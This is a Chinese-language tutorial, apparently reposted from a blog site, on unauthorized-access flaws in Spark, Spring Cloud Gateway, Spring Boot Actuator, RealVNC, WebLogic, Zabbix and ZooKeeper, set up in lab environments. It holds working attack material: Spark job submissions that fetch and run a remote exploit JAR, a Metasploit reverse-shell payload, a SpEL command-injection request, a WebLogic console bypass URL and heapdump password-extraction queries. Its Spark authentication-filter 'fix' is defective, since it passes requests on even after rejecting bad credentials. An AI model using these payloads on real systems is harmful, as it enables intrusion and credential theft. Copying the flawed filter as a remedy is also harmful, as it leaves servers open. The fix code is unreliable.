该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。

提交方式有两种:

利用REST API

构造payload

POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680{"action": "CreateSubmissionRequest","clientSparkVersion": "2.3.1","appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","environmentVariables": {"SPARK_ENV_LOADED": "1"},"mainClass": "Exploit","sparkProperties": {"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","spark.driver.supervise": "false","spark.app.name": "Exploit","spark.eventLog.enabled": "true","spark.submit.deployMode": "cluster","spark.master": "spark://your-ip:6066"}
}

其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。

此时访问http://your-ip:8081 已经加载了exploit.jar

返回的包中有submissionId(driver-20220516074753-0000),然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看执行结果:

利用submissions网关(集成在7077端口中)

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。

方法是利用Apache Spark自带的脚本bin/spark-submit

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。

查看结果的方式与前面一致。

MSF

msf5>use exploit/linux/http/spark_unauth_rce 
msf5>set payload java/meterpreter/reverse_tcp 
msf5>set rhost 192.168.100.2 
msf5>set rport 6066 
msf5>set lhost 192.168.100.1 
msf5>set lport 4444 
msf5>set srvhost 192.168.100.1 
msf5>set srvport 8080 
msf5>exploit

修复方案

创建认证filter对应的jar包

在idea中通过maven编译源码方式。

添加maven依赖

创建maven项目后,pom.xml添加如下依赖:

 <dependencies><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.10</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.35</version></dependency><!-- logback 依赖 --><dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.2.3</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version><scope>provided</scope></dependency><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.11</version></dependency></dependencies>

创建com.demo包

package com.demo;import org.apache.commons.codec.binary.Base64;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.StringTokenizer;public class SparkAuthFilter implements Filter {/*** Logger*/private static final Logger LOG = LoggerFactory.getLogger(SparkAuthFilter.class);private String username = "";private String password = "";private String realm = "Protected";@Overridepublic void init(FilterConfig filterConfig) throws ServletException {username = filterConfig.getInitParameter("username");password = filterConfig.getInitParameter("password");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {HttpServletRequest request = (HttpServletRequest) servletRequest;HttpServletResponse response = (HttpServletResponse) servletResponse;String authHeader = request.getHeader("Authorization");if (authHeader != null) {StringTokenizer st = new StringTokenizer(authHeader);if (st.hasMoreTokens()) {String basic = st.nextToken();if (basic.equalsIgnoreCase("Basic")) {try {String credentials = new String(Base64.decodeBase64(st.nextToken()), "UTF-8");LOG.debug("Credentials: " + credentials);int p = credentials.indexOf(":");if (p != -1) {String _username = credentials.substring(0, p).trim();String _password = credentials.substring(p + 1).trim();if (!username.equals(_username) || !password.equals(_password)) {unauthorized(response, "Bad credentials");}filterChain.doFilter(servletRequest, servletResponse);} else {unauthorized(response, "Invalid authentication token");}} catch (UnsupportedEncodingException e) {throw new Error("Couldn't retrieve authentication", e);}}}} else {unauthorized(response);}}@Overridepublic void destroy() {}private void unauthorized(HttpServletResponse response, String message) throws IOException {response.setHeader("WWW-Authenticate", "Basic realm=\"" + realm + "\"");response.sendError(401, message);}private void unauthorized(HttpServletResponse response) throws IOException {unauthorized(response, "Unauthorized");}public static void main(String[] args) {}}

这段代码是一个 Java 的 Servlet Filter 类,名为 SparkAuthFilter。该类实现了 Filter 接口,在接收 HTTP 请求时可以对请求进行认证,并决定是否允许该请求继续向下传递。

在 Filter 初始化时,可以从配置中读取 username 和 password,并赋值到类的实例变量中。

对于每一个请求,程序会检查请求的 Authorization header 是否存在,并判断是否是 Basic 认证方式。如果是,程序会对 header 中的认证凭证进行解码,并与 username 和 password 进行比较,如果一致则允许请求继续,否则返回 401 Unauthorized。

在返回 401 Unauthorized 时,程序会在 HTTP 响应的 WWW-Authenticate header 中加入认证需要使用的 realm 信息。

使用maven进行编译,编译的jar包在target目录下面。

执行配置
  1. 将jar包上传到spark的jars目录。
  2. spark-defaults.conf配置文件中,增加如下配置:
spark.ui.filters=com.demo.SparkAuthFilter
spark.com.demo.SparkAuthFilter.param.username=test
spark.com.demo.SparkAuthFilter.param.password=password
spark.acls.enable=true

重启spark集群

[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh

Spring Cloud Gateway Server 未授权访问漏洞

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

环境搭建

执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:

docker-compose up -d

服务启动后,访问http://your-ip:8080即可看到演示页面,这个页面的上游就是example.com。

漏洞复现

利用这个漏洞需要分多步。

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

发送如下数据包即可查看执行结果:

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

再刷新下路由:

SpringBoot Actuator未授权访问漏洞

简介

Spring Boot Actuator是Spring Boot项目中的一个模块,它提供了一组用于监控和管理Spring Boot应用程序的端点。这些端点可以用来检索应用程序的运行状态、查看应用程序的统计数据、查看应用程序中的配置信息等。

此外,还可以使用Actuator执行一些安全操作,如关闭应用程序。使用Actuator可以更好的监控、管理和维护Spring Boot应用程序。

其中以下是它端点:

Http路径描述
get/autoconfig提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
get/configprops描述配置属性(包含默认值)如何注入 Bean
get/beans描述应用程序上下文里全部的 Bean,以及它们的关系
get/dump获取线程活动的快照
get/env获取全部环境属性
get/env/{name}根据名称获取特定的环境属性值
get/health报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
get/info获取应用程序的定制信息,这些信息由 info 打头的属性提供
get/mappings描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系
get/metrics报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
get/metrics/{name}报告指定名称的应用程序度量值
post/shutdown关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)
get/trace提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)
get/heapdump获取正在运行的JVM的堆转储

环境搭建

SpringBoot Actuator未授权访问漏洞分为1.x版本和2.x版本。

srpingboot 2.x

下载demo代码

git clone https://github.com/callicoder/spring-boot-actuator-demo.git

maven将项目代码构建成jar包。

mvn package

启动Spring Boot应用程序

java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar

浏览器访问: http://localhost:8080.

srpingboot 1.x

使用IDEA新建一个maven项目。修改pom.xml,声明了一个父级依赖关系,表示该项目依赖于Spring Boot的spring-boot-starter-parent项目,版本为1.4.6.RELEASE。

    <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>1.4.6.RELEASE</version></parent><!-- Add typical dependencies for a web application --><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build>

新增测试文件:\src\main\java\Example.java

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;@RestController
@EnableAutoConfiguration
public class Example {@RequestMapping("/")String home() {return "Hello World!";}public static void main(String[] args) throws Exception {SpringApplication.run(Example.class, args);}}

修改application.properties

endpoints.beans.enabled=true
spring.redis.password=123456

漏洞复现

srpingboot 2.x

访问/info接口,泄露springboot项目信息。

访问/env接口,泄露springboot环境变量信息。

springboot 1.x

访问/metrics接口,显示应用的信息。

访问/trace接口,显示访问数据包具体信息。

heapdump泄露读取

Spring Boot Actuator的堆转储功能如果没有适当的配置,可能是一个安全漏洞。它允许通过URL获取正在运行的JVM的堆转储,其中可能包含敏感信息。

访问/heapdump接口下载heapdump文件。

jvisualvm分析

JVisualVM是由Oracle提供的Java可视化和监控工具。它包含在Oracle JDK分发版中,可用于监视和配置Java应用程序,诊断性能问题,并检查内存使用和堆转储。

JVisualVM提供了各种功能,包括:

  • 监控JVM性能、内存使用和线程
  • 配置Java应用程序的CPU和内存使用情况
  • 堆转储分析和内存泄漏检测
  • JMX控制台,用于检查和管理MBeans

打开jvisualvm.exe

加载heapdump文件

在工具菜单栏点击插件,安装OQL插件

构建OQL语句进行关键字查询,从而获取明文密码。

Spring boot 1.x版本查询语句:

select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())

Spring boot 2.x版本查询语句:

select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())

jhat

JHat是Java堆分析工具。它可以用于分析Java堆转储文件,以找出内存泄漏和其他内存问题。并且提供了一个网页界面,允许用户浏览堆转储中的对象,检查引用关系,检查内存使用情况等。

使用jhat命令分析heapdump文件,会启动7000端口web页面。

访问7000端口,需要人工搜索关键字

heapdump_tool

本质上是基于jhat,通过通过jhat解析heapdump文件,从而实现heapdump敏感信息搜索。

下载链接:https://toolaffix.oss-cn-beijing.aliyuncs.com/heapdump_tool.jar

java -jar heapdump_tool.jar  heapdump

选择1,获取全部内容

然后输入关键字

查询方式:

  1. 关键词 例如 password
  2. 字符长度 len=10 获取长度为10的所有key或者value值
  3. 按顺序获取 num=1-100 获取顺序1-100的字符
    获取url,file,ip
    geturl 获取所有字符串中的url
    getfile 获取所有字符串中的文件路径文件名
    getip 获取所有字符串中的ip
    默认不输出查询结果非key-value格式的数据,需要获取所有值,输入all=true,all=false取消显示所有值。

mat

Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照。
可以使用Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息。
独立版下载地址:http://www.eclipse.org/mat/downloads.php

最新版用Java 11,可以下载历史版本

spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中

select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

修复建议

springboot 2.x修复方法

禁用接口

application.properties配置文件内改成:management.endpoint.beans.enabled=false

management.endpoint.beans.enabled=false
actuator接口进行鉴权

application.properties

# Spring Security default user name and password
spring.security.user.name=actuator
spring.security.user.password=actuator
spring.security.user.roles=ACTUATOR_ADMIN

如果需要访问actuator接口,则可以自定义代码,引用security进行鉴权访问。

\src\main\java\com\example\actuatordemo\config\ActuatorSecurityConfig.java

package com.example.actuatordemo.config;import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
import org.springframework.boot.actuate.context.ShutdownEndpoint;
import org.springframework.boot.autoconfigure.security.servlet.PathRequest;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {/*This spring security configuration does the following1. Restrict access to the Shutdown endpoint to the ACTUATOR_ADMIN role.2. Allow access to all other actuator endpoints.3. Allow access to static resources.4. Allow access to the home page (/).5. All other requests need to be authenticated.5. Enable http basic authentication to make the configuration complete.You are free to use any other form of authentication.*/@Overrideprotected void configure(HttpSecurity http) throws Exception {http.authorizeRequests()//注释掉可以对actuator路径进行鉴权
//                    .requestMatchers(EndpointRequest.to(ShutdownEndpoint.class))
//                        .hasRole("ACTUATOR_ADMIN")
//                    .requestMatchers(EndpointRequest.toAnyEndpoint())
//                        .permitAll().requestMatchers(PathRequest.toStaticResources().atCommonLocations()).permitAll().antMatchers("/", "/slowApi").permitAll().antMatchers("/**").authenticated().and().httpBasic();}
}

此Spring Security配置执行以下操作:

  1. 对Shutdown端点的访问受限制,仅限于ACTUATOR_ADMIN角色。
  2. 允许对所有其他actuator端点的访问。
  3. 允许对静态资源的访问。
  4. 允许访问主页(/)。
  5. 所有其他请求都需要进行身份验证。
  6. 启用http基本身份验证以完成配置。您可以自由使用其他形式的身份验证。

\src\main\java\com\example\actuatordemo\controller\SampleController.java

package com.example.actuatordemo.controller;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.util.Random;
import java.util.concurrent.TimeUnit;@RestController
public class SampleController {@GetMapping("/")public String sayHello(@RequestParam(value = "name", defaultValue = "Guest") String name) {return "Hello " + name + "!!";}@GetMapping("/slowApi")public String timeConsumingAPI(@RequestParam(value = "delay", defaultValue = "0") Integer delay) throws InterruptedException {if(delay == 0) {Random random = new Random();delay = random.nextInt(10);}TimeUnit.SECONDS.sleep(delay);return "Result";}}

此控制器执行以下操作:

  1. 定义了一个"/ "路径,返回带有请求参数名称的问候语。
  2. 定义了一个"/slowApi"路径,可以模拟耗时的API请求,可以通过请求参数"delay"指定延迟,如果未指定,则随机生成延迟。

\src\main\java\com\example\actuatordemo\health\CustomHealthIndicator.java

package com.example.actuatordemo.health;import org.springframework.boot.actuate.health.AbstractHealthIndicator;
import org.springframework.boot.actuate.health.Health;
import org.springframework.stereotype.Component;@Component
public class CustomHealthIndicator extends AbstractHealthIndicator {@Overrideprotected void doHealthCheck(Health.Builder builder) throws Exception {// Use the builder to build the health status details that should be reported.// If you throw an exception, the status will be DOWN with the exception message.builder.up().withDetail("app", "Alive and Kicking").withDetail("error", "Nothing! I'm good.");}
}

这是一个健康指标组件,继承自AbstractHealthIndicator。

doHealthCheck方法构建健康状态的详细信息,如果抛出异常,状态将是DOWN,并带有异常信息。

该示例报告应用程序的健康状态是"Alive and Kicking",错误是"Nothing! I’m good."

启动服务访问actuator就可以看到需要输入密码

springboot 1.x修复方案

禁用接口
#关闭全部接口
endpoints.enabled = false###只开启某些接口
#endpoints.beans.enabled = true
#endpoints.env.enabled = true
#endpoints.trace.enabled = true
#endpoints.metrics.enabled = true
鉴权

另外也可以引入spring-boot-starter-security依赖

     <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency>

application.properties中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。

management.security.enabled=true
security.user.name=admin
security.user.password=admin

VNC Server 未授权访问漏洞

CVE-2006-2369

漏洞描述

RealVNC VNC Server是英国RealVNC公司的一个远程访问软件的 VNC 服务器。

RealVNC VNC Server 存在授权问题漏洞,该漏洞源于采用的RFB(远程帧缓冲区)协议允许客户端与服务端协商合适的认证方法,协议的实现上存在设计错误,远程攻击者可以绕过认证无需口令实现对服务器的访问。

影响范围

RealVNC <= 4.1.1

环境搭建

win2003系统

下载地址:https://www.filesoul.com/software/RealVNC/4-1-1/download/

进行安装(一直下一步即可)

漏洞利用

vncviewer 192.168.32.252

防御手段

  • 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

  • 以最小普通权限身份运行操作系统。

Weblogic 未授权访问漏洞

漏洞描述

Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞检测

使用vulhub搭建漏洞演示环境

cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up -d
http://192.168.0.5:7001/console/css/%252e%252e%252fconsole.portal

攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

Zabbix未授权访问漏洞

漏洞描述

Zabbix存在一个未授权访问漏洞,通过该漏洞,攻击者可以在未经授权的情况下访问Zabbix服务器上的数据,导致敏感信息泄露。

影响版本

Zabbix <= 4.4

环境搭建

docker run -p 10051:10051  -p 80:80 zabbix/zabbix-appliance:ubuntu-4.0.12

漏洞利用

访问:http://192.168.32.183/zabbix.php?action=problem.view&ddreset=1

访问:http://192.168.32.183/overview.php?ddreset=1

访问:http://192.168.32.183/latest.php?ddreset=1

还有以下链接可以访问:

  • https://TARGET/zabbix/zabbix.php?action=dashboard.view
  • https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
  • https://TARGET/zabbix/overview.php?ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
  • https://TARGET/zabbix/latest.php?ddreset=1
  • https://TARGET/zabbix/charts.php?ddreset=1
  • https://TARGET/zabbix/screens.php?ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
  • https://TARGET/zabbix/srv_status.php?ddreset=1
  • https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
  • https://TARGET/zabbix/hostinventories.php?ddreset=1
  • https://TARGET/zabbix/report2.php?ddreset=1
  • https://TARGET/zabbix/toptriggers.php?ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=dashboard.list
  • https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1

ZooKeeper未授权访问漏洞

漏洞描述

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

环境搭建

Zookeeper的默认开放端口是2181

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gztar -zxvf zookeepre-3.4.10.tar.gz
cd zookeeper-3.4.10/
cd conf/
vi zoo.cfg
### 配置单机模式
tickTime=2000    
dataDir=/tmp/zookeeper/data    
dataLogDir=/tmp/zookeeper/logs    
clientPort=2181 bin/zkServer.sh start   //启动
### 启动client连接server
bin/zkCli.sh -server localhost:2181 

漏洞利用

执行以下命令即可远程获取该服务器的环境:

echo envi | nc 192.168.32.131 2181

stat:列出关于性能和连接的客户端的统计信息。

echo stat |nc 192.168.32.131 2181

ruok:测试服务器是否运行在非错误状态。
echo ruok |ncat 127.0.0.1 2181

reqs:列出未完成的请求。
echo reqs |ncat 127.0.0.1 2181

envi:打印有关服务环境的详细信息。
echo envi |ncat 127.0.0.1 2181

dump:列出未完成的会话和临时节点。
echo dump |ncat 127.0.0.1 2181

修复建议

禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码)

绑定指定IP访问 (推荐):

1、登陆zookeeper

./zkCli.sh -server <IP>:<port>

2、查看当前权限:

getAcl /

3、添加可访问IP

setAcl / ip:192.168.1.xx:cdrwa,ip:192.168.1.xx:cdrwa

4、查看是否正常添加

getAcl /

未授权也可以连接,但是查看节点时会报错KeeperErrorCode = NoAuth for /,localhost都不行,必须填可访问IP,才能访问。

[zk: localhost:2181(CONNECTED) 0] ls /
KeeperErrorCode = NoAuth for /
[zk: localhost:2181(CONNECTED) 1] 

回退办法:
使用之前设置的IP进行访问:

./zkCli.sh -server <IP>:<port>

设置为所有人可访问:

setAcl / world:anyone:cdrwa

设置身份验证

为ZooKeeper配置相应的访问权限。

1)增加一个认证用户
addauth digest 用户名:密码明文

addauth digest user1:password1 

2)设置权限
setAcl /path auth:用户名:密码明文:权限
setAcl /path digest:用户名:密码密文:权限

setAcl /test auth:user1:password1:cdrwa 

3)查看Acl设置

getAcl /path 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/72806.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Web前端开发——HTML基础下

HTML语法 一表格1.基本格式2.美化表格合并居中属性 二表单1.input2.select3.textarea4.button5.date6.color7.checkbox8.radio9.range10.number 一表格 1.基本格式 HTML表格由<table>标签定义 其中行由<tr>标签定义&#xff0c;单元格由<td>定义。我们先来…

小程序事件系统 —— 33 事件传参 - data-*自定义数据

事件传参&#xff1a;在触发事件时&#xff0c;将一些数据作为参数传递给事件处理函数的过程&#xff0c;就是事件传参&#xff1b; 在微信小程序中&#xff0c;我们经常会在组件上添加一些自定义数据&#xff0c;然后在事件处理函数中获取这些自定义数据&#xff0c;从而完成…

vuejs相关链接和格式化插件推荐

vue官网&#xff1a; https://cn.vuejs.org/ 配合路由设置&#xff1a; https://router.vuejs.org/zh/guide/ element plus (vue3) | element UI (vue2)&#xff1a; https://element-plus.org/zh-CN/#/zh-CN 构建工具vite&#xff1a; https://cn.vitejs.dev/ 右键选择…

IDEA中Git版本回退终极指南:Reset与Revert双方案详解

目录 前言一、版本回退前置知识二、Reset方案&#xff1a;整体改写历史1、IDEA图形化操作&#xff08;推荐&#xff09;1.1、查看提交历史1.2、选择目标版本1.3、选择回退模式1.3.1、Soft&#xff08;推荐&#xff09;1.3.2、Mixed1.3.3、Hard&#xff08;慎用&#xff09;1.3.…

AI-Deepseek + PPT

01--Deepseek提问 首先去Deepseek问一个问题&#xff1a; Deepseek的回答&#xff1a; 在汽车CAN总线通信中&#xff0c;DBC文件里的信号处理&#xff08;如初始值、系数、偏移&#xff09;主要是为了 将原始二进制数据转换为实际物理值&#xff0c;确保不同电子控制单元&…

实验一:在Windows 10/11下配置和管理TCP/IP

目录 1.【实训目标】 2.【实训环境】 3.【实训内容】 4.【实训步骤】 1.【实训目标】 1.了解网络基本配置中包含的协议、服务、客户端。 2.了解Windows支持的网络协议及参数设置方法。 3.掌握TCP/IP协议的配置。 2.【实训环境】 硬件环境&#xff1a;每人一台计算机&a…

一招解决Pytorch GPU版本安装慢的问题

Pytorch是一个流行的深度学习框架&#xff0c;广泛应用于计算机视觉、自然语言处理等领域。安装Pytorch GPU版本可以充分利用GPU的并行计算能力&#xff0c;加速模型的训练和推理过程。接下来&#xff0c;我们将详细介绍如何在Windows操作系统上安装Pytorch GPU版本。 查看是否…

为解决局域网IP、DNS切换的Windows BAT脚本

一、背景 为解决公司普通人员需要切换IP、DNS的情况&#xff0c;于是搞了个windows下的bat脚本&#xff0c;可以对有线网络、无线网络进行切换设置。 脚本内容 echo off title 多网络接口IP切换工具:menu cls echo echo 请选择要配置的网络接口: echo echo 1. 有线网络&am…

OpenCV计算摄影学(14)实现对比度保留去色(Contrast Preserving Decolorization)的函数decolor()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 将彩色图像转换为灰度图像。它是数字印刷、风格化的黑白照片渲染&#xff0c;以及许多单通道图像处理应用中的基本工具。 cv::decolor 是 OpenCV…

Qt常用控件之 纵向列表QListWidget

纵向列表QListWidget QListWidget 是一个纵向列表控件。 QListWidget属性 属性说明currentRow当前被选中的是第几行。count一共有多少行。sortingEnabled是否允许排序。isWrapping是否允许换行。itemAlignment元素的对齐方式。selectRectVisible被选中的元素矩形是否可见。s…

关于 QPalette设置按钮背景未显示出来 的解决方法

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/146047054 长沙红胖子Qt&#xff08;长沙创微智科&#xff09;博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV…

PostgreSQL 安装与使用

下载地址: EDB: Open-Source, Enterprise Postgres Database Management 安装图形化安装界面安装。安装完后将bin目录配置到系统环境变量 执行psql -h localhost -p 5432 -U postgres 密码在安装过程中设置的 ​ 0、修改密码 ALTER USER sonar WITH PASSWORD 123456; 1、新…

Linux 开发工具

linux中&#xff0c;常见的软件安装方式---下载 yum/apt.rpm安装包安装源码安装 yum 查看软件包 通过yumlist命令可以罗列出当前⼀共有哪些软件包.由于包的数⽬可能⾮常之多,这⾥我们需要使⽤ grep 命令只筛选出我们关注的包.例如: # Centos $ yum list | grep lrzsz lr…

Agent革命:Manus如何用工作流拆解掀起AI生产力革命

一、现象级产品的诞生背景 2025年3月6日&#xff0c;一款名为Manus的AI产品在技术圈引发地震式传播。其官方测试数据显示&#xff1a;在GAIA基准测试中&#xff0c;基础任务准确率达86.5%&#xff08;接近人类水平&#xff09;&#xff0c;中高级任务完成率突破57%。这标志着A…

网络安全等级保护2.0 vs GDPR vs NIST 2.0:全方位对比解析

在网络安全日益重要的今天&#xff0c;各国纷纷出台相关政策法规&#xff0c;以加强信息安全保护。本文将对比我国网络安全等级保护2.0、欧盟的GDPR以及美国的NIST 2.0&#xff0c;分析它们各自的特点及差异。 网络安全等级保护2.0 网络安全等级保护2.0是我国信息安全领域的一…

MySQL 面试篇

MySQL相关面试题 定位慢查询 **面试官&#xff1a;**MySQL中&#xff0c;如何定位慢查询? 我们当时做压测的时候有的接口非常的慢&#xff0c;接口的响应时间超过了2秒以上&#xff0c;因为我们当时的系统部署了运维的监控系统Skywalking &#xff0c;在展示的报表中可以看到…

MyBatis 操作数据库

目录 1、MyBatis 是什么2、配置 MyBatis 开发环境2.1、添加 MyBatis 框架支持2.1.1、老项目添加 MyBatis2.1.2、新项目添加 MyBatis 2.2、配置数据库连接字符串2.3、配置 MyBatis 中的 XML 路径 3、添加业务代码3.1、添加实体类3.2、添加 mapper 接口3.3、添加 xml 文件3.4、添…

Jmeter进行http接口测试详解

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 本文主要针对http接口进行测试&#xff0c;使用 jmeter工具实现。 Jmeter工具设计之初是用于做性能测试的&#xff0c;它在实现对各种接口的调用方面已经做的比较…

力扣35.搜索插入位置-二分查找

class Solution:def searchInsert(self, nums: List[int], target: int) -> int:# 初始化左右指针left, right 0, len(nums) - 1# 当左指针小于等于右指针时&#xff0c;继续循环while left < right:# 计算中间位置mid (left right) // 2# 如果中间元素等于目标值&…

为AI聊天工具添加一个知识系统 之133 详细设计之74通用编程语言 之4 架构及其核心

本篇继续讨论 通用编程语言。 说明&#xff1a;本阶段的所有讨论都是围绕这一主题展开的&#xff0c;但前面的讨论分成了三个大部分&#xff08;后面列出了这一段的讨论题目的归属关系&#xff09;-区别distinguish&#xff08;各别&#xff09;&#xff1a; 文化和习俗。知识…